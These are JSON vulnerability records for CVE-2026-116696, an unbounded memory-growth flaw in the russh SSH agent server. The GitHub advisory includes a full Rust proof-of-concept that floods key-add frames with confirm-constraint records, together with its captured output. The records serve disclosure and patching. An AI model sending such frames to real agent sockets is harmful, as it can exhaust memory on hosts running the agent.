{
  "affected": [
    {
      "affectedData": [
        {
          "product": "russh",
          "vendor": "Eugeny",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.65.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, russh::keys::agent::server::serve in russh/src/keys/agent/server.rs accepts repeated SSH_AGENT_CONSTRAIN_CONFIRM records while adding a key and appends every Constraint::Confirm record to the key\u0027s retained constraint vector without a count or memory limit. A process that can connect to the agent socket, including the remote side of a forwarded agent session, can repeatedly add constrained keys and cause renewable memory growth that persists for the process lifetime because keys without a lifetime constraint do not expire. This issue is fixed in version 0.65.0."
    }
  ],
  "id": "CVE-2026-116696",
  "lastModified": "2026-11-02T20:17:33.387",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "LOW",
          "baseScore": 3.3,
          "baseSeverity": "LOW",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-116696",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-11-02T19:43:05.991668Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-27T21:18:05.617",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/commit/23aa5d28fe9601c5bdfe9e60b7ec5d4f882c3de6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.65.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.65.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-30T22:58:47Z",
    "nvd_published_at": "2026-10-27T21:18:05Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n**All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment.**\n\nThe SSH agent server that ships with russh (`russh::keys::agent::server::serve`) parses client key-addition requests and, for each `SSH_AGENT_CONSTRAIN_CONFIRM` (0x02) record it finds, pushes one `Constraint::Confirm` value into a per-key vector inside an unbounded loop, then stores the resulting pair permanently in its keystore (`russh/src/keys/agent/server.rs:296-303`). Neither the constraint vector nor the keystore has a size or count limit: the only boundary is the 256 KiB agent frame cap, and every 1-byte record a client sends becomes a 56-byte enum retained for the life of the process. Any process that can connect to the agent socket - the same trust model the project itself established when fixing a prior advisory about this same request handler - can therefore grow the agent\u0027s memory without bound and renew the growth at will: six 256 KiB requests retained 72.4 MiB (about 12.1 MiB per request, a roughly 48-fold amplification) while an equal number of unconstrained key additions retained nothing, measured against the unmodified server through its public API on v0.64.1. The earlier fix for that prior advisory deduplicates only the sibling `SSH_AGENT_CONSTRAIN_LIFETIME` (0x01) record type and leaves this parallel variant untouched, and since constrained keys never expire the retained memory is never reclaimed.\n\n### Details\n\nWhen a client adds a key with constraints, the server walks the constraint section byte by byte and collects typed values with no upper bound on how many it will accept:\n\n```text\nrussh/src/keys/agent/server.rs:296-297 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)\n    } else if t == msg::CONSTRAIN_CONFIRM {\n        c.push(Constraint::Confirm)      // inside the record loop, no length cap\nrussh/src/keys/agent/server.rs:303-308\n    - the (key, timestamp, constraints) triple is inserted into the keystore,\n      and keys without a LIFETIME constraint never expire\n```\n\nThe `Constraint` enum is aligned to its largest variant, so each 1-byte `0x02` record on the wire costs 56 bytes of retained heap, and the frame cap of 256 KiB (`server.rs:23,109`) is the only thing shaping a single request - the number of requests, and the number of keys in the keystore, are unbounded. The project\u0027s fix for its prior agent advisory (commit 4c30503, shipped in 0.64.1) addressed the `SSH_AGENT_CONSTRAIN_LIFETIME` record by deduplicating lifetime entries and collapsing the per-record timer tasks; the `CONSTRAIN_CONFIRM` branch in the very same loop was left as-is, so the fixed release still accepts and retains arbitrary amounts of confirm records per key. The privilege model is the one the project used for the prior advisory: any local process able to connect to the agent\u0027s listening socket, which in agent-forwarding scenarios includes processes on the remote side of a forwarded session. Both file references are identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the confirm-record handling predates the fork that merged the keys crate, so all released versions are affected.\n\n### Proof of concept\n\nThe instance is the unmodified russh v0.64.1 agent server started through its public `russh::keys::agent::server::serve` API inside the PoC process, with the attacker leg and the control leg connecting over an in-process duplex socket exactly as a foreign local client would; the agent handler runs with default configuration and no test hooks. The harness measures live heap with a counting global allocator, generates a fresh Ed25519 key per request, and speaks the real agent framing (4-byte length prefix) with the server\u0027s own 256 KiB frame cap. Set the project up with the commands below (the retained run referenced the russh source checked out at tag v0.64.1 via a path dependency and built with the GNU toolchain because the machine lacks MSVC\u0027s linker; the crates.io `russh@0.64.1` release is the same source and any stable toolchain works; on Windows the built binary carries an `.exe` extension). The full `src/main.rs` follows.\n\n```bash\ncargo new poc_agent_confirm_growth\ncd poc_agent_confirm_growth\ncargo add russh@0.64.1 tokio --features tokio/full futures@0.3 rand@0.10\n```\n\n```rust\ncat \u003e src/main.rs \u003c\u003c\u0027EOF\u0027\n//! PoC: russh agent server - unbounded persistent memory growth via\n//! SSH_AGENT_CONSTRAIN_CONFIRM (0x02) constraint records.\n//!\n//! Target: russh v0.64.1 (commit e5d80a0), russh/src/keys/agent/server.rs,\n//! add_key() -\u003e `c.push(Constraint::Confirm)` inside an unbounded loop, with\n//! no cap on the resulting per-key constraint vector and no cap on the number\n//! of keys in the keystore.\n//!\n//! Relationship to GHSA-4wc5-f2rc-q74m (fixed in 0.64.1): that advisory covered\n//! the SSH_AGENT_CONSTRAIN_LIFETIME (0x01) record, whose fix (commit 4c30503)\n//! deduplicates lifetime records only. The parallel CONFIRM record variant is\n//! not covered: each 1-byte 0x02 record retains one 56-byte Constraint enum in\n//! the persistent keystore (\u003e=50x amplification, never expires, renewable).\n//!\n//! Attack model (same as GHSA-4wc5): any local process able to connect to the\n//! agent\u0027s listening socket. No authentication on the socket by default.\n//!\n//! The attacker here only uses the socket (tokio duplex); the agent server\n//! runs unmodified via the public `russh::keys::agent::server::serve` API.\n\nuse std::alloc::{GlobalAlloc, Layout, System};\nuse std::sync::atomic::{AtomicU64, Ordering};\n\nuse futures::stream::once;\nuse tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream};\n\nstatic LIVE: AtomicU64 = AtomicU64::new(0);\n\nstruct Counting;\n\nunsafe impl GlobalAlloc for Counting {\n    unsafe fn alloc(\u0026self, layout: Layout) -\u003e *mut u8 {\n        let p = System.alloc(layout);\n        if !p.is_null() {\n            LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);\n        }\n        p\n    }\n    unsafe fn dealloc(\u0026self, p: *mut u8, layout: Layout) {\n        LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);\n        System.dealloc(p, layout)\n    }\n}\n\n#[global_allocator]\nstatic A: Counting = Counting;\n\nfn live_mb() -\u003e f64 {\n    LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)\n}\n\nfn fresh_key() -\u003e russh::keys::PrivateKey {\n    russh::keys::ssh_key::PrivateKey::random(\u0026mut rand::rng(), russh::keys::Algorithm::Ed25519)\n        .expect(\"keygen\")\n}\n\nconst FRAME_MAX: usize = 256 * 1024; // MAX_AGENT_FRAME_LEN in agent/server.rs\n\nfn frame(payload: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n    let mut f = Vec::with_capacity(payload.len() + 4);\n    f.extend_from_slice(\u0026(payload.len() as u32).to_be_bytes());\n    f.extend_from_slice(payload);\n    f\n}\n\n/// Build one ADD_IDENTITY (17) frame: no constraints (control leg).\nfn add_key_plain(key: \u0026russh::keys::PrivateKey) -\u003e Vec\u003cu8\u003e {\n    use russh::keys::ssh_encoding::Encode;\n    let mut p = vec![17u8]; // SSH_AGENTC_ADD_IDENTITY\n    key.key_data().encode(\u0026mut p).unwrap();\n    Vec::\u003cu8\u003e::new().encode(\u0026mut p).unwrap(); // empty comment\n    frame(\u0026p)\n}\n\n/// Build one ADD_IDENTITY_CONSTRAINED (25) frame whose constraint section is\n/// `n` consecutive SSH_AGENT_CONSTRAIN_CONFIRM (0x02) records.\nfn add_key_confirm(key: \u0026russh::keys::PrivateKey, n: usize) -\u003e Vec\u003cu8\u003e {\n    use russh::keys::ssh_encoding::Encode;\n    let mut p = vec![25u8]; // SSH_AGENTC_ADD_IDENTITY_CONSTRAINED\n    key.key_data().encode(\u0026mut p).unwrap();\n    Vec::\u003cu8\u003e::new().encode(\u0026mut p).unwrap(); // empty comment\n    p.resize(p.len() + n, 0x02);\n    frame(\u0026p)\n}\n\nasync fn round(conn: \u0026mut DuplexStream, req: Vec\u003cu8\u003e) -\u003e u8 {\n    conn.write_all(\u0026req).await.expect(\"write frame\");\n    let mut resp = [0u8; 5];\n    conn.read_exact(\u0026mut resp).await.expect(\"read reply\");\n    resp[4] // SUCCESS(6) / FAILURE(5) after 4-byte length prefix\n}\n\n#[tokio::main]\nasync fn main() {\n    println!(\"== poc_agent_confirm_growth ==\");\n    println!(\n        \"target: russh agent server (keys/agent/server.rs), frame cap {} bytes\",\n        FRAME_MAX\n    );\n\n    let (server_side, mut attacker) = tokio::io::duplex(64 * 1024);\n    let listener = once(Box::pin(async move {\n        Ok::\u003c_, std::io::Error\u003e(server_side)\n    }));\n    tokio::spawn(async move {\n        let _ = russh::keys::agent::server::serve(listener, ()).await;\n    });\n    tokio::time::sleep(std::time::Duration::from_millis(200)).await;\n\n    let baseline = live_mb();\n    println!(\"baseline allocated: {:.2} MiB\", baseline);\n\n    // ---- Control leg: same number of frames, unconstrained adds ----\n    let rounds = 6;\n    for i in 0..rounds {\n        let key = fresh_key();\n        let resp = round(\u0026mut attacker, add_key_plain(\u0026key)).await;\n        println!(\n            \"CONTROL round {}: unconstrained add, reply byte = {}, live = {:.2} MiB\",\n            i,\n            resp,\n            live_mb()\n        );\n    }\n    let after_control = live_mb();\n    println!(\n        \"CONTROL total delta: {:+.2} MiB after {} unconstrained adds\",\n        after_control - baseline,\n        rounds\n    );\n\n    // ---- Attack leg: one 0x02-padded constrained add per round ----\n    for i in 0..rounds {\n        let key = fresh_key();\n        // frame budget minus key blob/comment/header; all remaining bytes are\n        // 1-byte CONFIRM records\n        let probe = add_key_confirm(\u0026key, 1);\n        let n_confirms = FRAME_MAX - probe.len();\n        let resp = round(\u0026mut attacker, add_key_confirm(\u0026key, n_confirms)).await;\n        println!(\n            \"ATTACK  round {}: {}-byte frame with {} CONFIRM records, reply byte = {}, live = {:.2} MiB\",\n            i,\n            FRAME_MAX,\n            n_confirms,\n            resp,\n            live_mb()\n        );\n    }\n    let after_attack = live_mb();\n    let attack_delta = after_attack - after_control;\n    println!(\n        \"ATTACK total delta: {:+.2} MiB after {} constrained adds\",\n        attack_delta, rounds\n    );\n    println!(\n        \"per-request amplification: ~{:.1}x (input frame 262144 B -\u003e retained {} B avg)\",\n        attack_delta * 1024.0 * 1024.0 / (rounds as f64) / 262144.0,\n        ((attack_delta * 1024.0 * 1024.0) / rounds as f64) as u64\n    );\n\n    // keys stay in the keystore forever (no lifetime): show retention persists\n    tokio::time::sleep(std::time::Duration::from_secs(2)).await;\n    println!(\n        \"after idle wait, live = {:.2} MiB (retained: server keystore still holds every constraint vector)\",\n        live_mb()\n    );\n\n    let verdict_growth = after_attack - after_control;\n    if verdict_growth \u003e 10.0 {\n        println!(\n            \"VERDICT: VULNERABLE - attack leg retained {:.1} MiB vs control {:+.2} MiB; {:.1} MiB/round persisted, unbounded and renewable\",\n            verdict_growth,\n            after_control - baseline,\n            verdict_growth / rounds as f64\n        );\n    } else {\n        println!(\n            \"VERDICT: NOT REPRODUCED - growth {:.2} MiB below threshold\",\n            verdict_growth\n        );\n    }\n}\nEOF\ncargo build --release\n./target/release/poc_agent_confirm_growth\n```\n\nCaptured output from the running v0.64.1 agent server (verbatim; lines from the retained run log, paths shown relative to the PoC working directory):\n\n```\n$ ./target/release/poc_agent_confirm_growth.exe  (built with: cargo +stable-x86_64-pc-windows-gnu build --release)\n== poc_agent_confirm_growth ==\ntarget: russh agent server (keys/agent/server.rs), frame cap 262144 bytes\nbaseline allocated: 0.11 MiB\nCONTROL round 0: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 1: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 2: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 3: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 4: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL round 5: unconstrained add, reply byte = 6, live = 0.11 MiB\nCONTROL total delta: +0.00 MiB after 6 unconstrained adds\nATTACK  round 0: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 12.49 MiB\nATTACK  round 1: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 24.49 MiB\nATTACK  round 2: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 36.49 MiB\nATTACK  round 3: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 48.49 MiB\nATTACK  round 4: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 60.49 MiB\nATTACK  round 5: 262144-byte frame with 262015 CONFIRM records, reply byte = 6, live = 72.49 MiB\nATTACK total delta: +72.38 MiB after 6 constrained adds\nper-request amplification: ~48.3x (input frame 262144 B -\u003e retained 12649017 B avg)\nafter idle wait, live = 72.49 MiB (retained: server keystore still holds every constraint vector)\nVERDICT: VULNERABLE - attack leg retained 72.4 MiB vs control +0.00 MiB; 12.1 MiB/round persisted, unbounded and renewable\n```\n\nOutput interpretation: the control leg issues the same number of key additions without constraints and the keystore keeps nothing, while each constrained request permanently retains about 12.1 MiB - roughly 48 times its 256 KiB wire size - and the memory is still held after an idle wait, confirming the records are kept for the life of the process rather than tied to the connection. Live-memory readings are instance-specific; the mechanism, per-record retention with no cap on the constraint vector or the keystore, is the stable verdict.\n\n### Impact\n\nUnrestricted resource allocation (CWE-770): any process able to reach the agent\u0027s socket - a local process, or a remote process on the far side of a forwarded agent - can drive the agent server into unbounded, permanent, renewable memory growth with ordinary-sized requests, degrading and eventually exhausting the host running the agent. The retained memory is never freed because constrained keys never expire, and the sibling lifetime-record fix in the same handler does not touch this path. A fix is to cap the number of constraint records accepted per key (and the number of keys held), reject unknown or duplicate record types, and bound the total memory the keystore may retain.",
  "id": "GHSA-9wfm-jcj8-jfv9",
  "modified": "2026-10-30T22:58:48Z",
  "published": "2026-10-30T22:58:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/23aa5d28fe9601c5bdfe9e60b7ec5d4f882c3de6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.65.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "russh\u0027s SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "librust-russh-dev",
            "binary_version": "0.57.1-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.10",
        "name": "rust-russh",
        "purl": "pkg:deb/ubuntu/rust-russh@0.57.1-2?arch=source\u0026distro=stonking"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.57.1-2"
      ]
    }
  ],
  "aliases": [],
  "details": "russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to 0.65.0, russh::keys::agent::server::serve in russh/src/keys/agent/server.rs accepts repeated SSH_AGENT_CONSTRAIN_CONFIRM records while adding a key and appends every Constraint::Confirm record to the key\u0027s retained constraint vector without a count or memory limit. A process that can connect to the agent socket, including the remote side of a forwarded agent session, can repeatedly add constrained keys and cause renewable memory growth that persists for the process lifetime because keys without a lifetime constraint do not expire. This issue is fixed in version 0.65.0.",
  "id": "UBUNTU-CVE-2026-116696",
  "modified": "2026-10-27T21:18:00Z",
  "published": "2026-10-27T21:18:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-116696"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116696"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-9wfm-jcj8-jfv9"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/Eugeny/russh/commit/23aa5d28fe9601c5bdfe9e60b7ec5d4f882c3de6"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.65.0"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-116696"
  ]
}